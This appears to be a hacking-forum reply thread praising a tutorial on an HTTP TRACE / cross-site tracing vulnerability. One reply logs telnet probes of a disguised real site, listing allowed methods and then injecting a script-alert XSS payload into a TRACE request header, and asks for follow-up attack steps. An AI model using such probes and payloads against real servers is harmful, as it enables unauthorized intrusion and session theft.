[Error667]

Thanks guys, I hope it's understandable.

[Anarkhos]

Very nice tut. Simple / looks nice. First time I've heard about it.

I find it amazing that you still give back to the HF community even after what you went trough. You get a high-five from me.
You are a REAL HQ member.

[12345xmen]

form where get idea to think abt this ..btw vry good tut budy..alwys like to read ur tut :)

[djmayur]

Hey thanks, its new for me, Thanks for sharing.

[Catzbow]

It's really a nice tutorial. I finished to read it before a few minutes.
Thank you.

[[Alias]]

I've heard about this vuln before, but never exploited it. Thanks for the TuT.

French FTW!!

Alias.

[king225]

I have not heared before ,, Thanx for share with us

[Error667]

I updated the post, something was wrong with the schema.

[Th3PonyWizard]

Didn't you like, got arrested or something?
In any way, nice write up ^^

[samrokzz]

Very nice tutorial .
Thanks for it .

[Error667]

Will release new tutorials in some days.
You can check my last writing about RSA cryptosystem here : https://hackforums.net/showthread.php?tid=2965853

Thanks for support.

[Scooby Doo.]

This is a very HQ tutorial, thanks for sharing buddy.

[D-M-C]

very nice tutorial thanks in advance

[jeetjain2345]

Nice tutorial but I tried it and not understood completely, how to use addon and how to make req, through telnet I checked trace is enable but don't know what to do next if any short example of this kind of attack will be helpful.One more question XSS should be in website for this kind of attack
Below posting logs what I had tried up-to now
telnet www.target.com 80
OPTIONS / HTTP/1.1
Host: www.target.com

I got response like this with the above request.
HTTP/1.1 200 OK
Date: Thu, 11 Apr 2013 09:55:12 GMT
Server: Apache/2.0.49 (Fedora)
Allow: GET,HEAD,POST,OPTIONS,TRACE
Content-Length: 0
Content-Type: application/x-httpd-php

Than I tried this request.
telnet www.target.com 80

TRACE / HTTP/1.1
Content-Type: text/html; <script>alert('xss');</script>
Host: www.target.com
And response was this.
HTTP/1.1 200 OK
Date: Thu, 11 Apr 2013 09:56:57 GMT
Server: Apache/2.0.49 (Fedora)
Transfer-Encoding: chunked
Content-Type: message/http

6e
TRACE / HTTP/1.1
Content-Type: text/html; <script>alert('xss');</script>
Host: www.target.com

host name has been changed as target

hope u will post what steps should be after this,I am asking also for learning purpose too.

Thanks in advance

[Aryaman]

quite interesting tut helping a lot.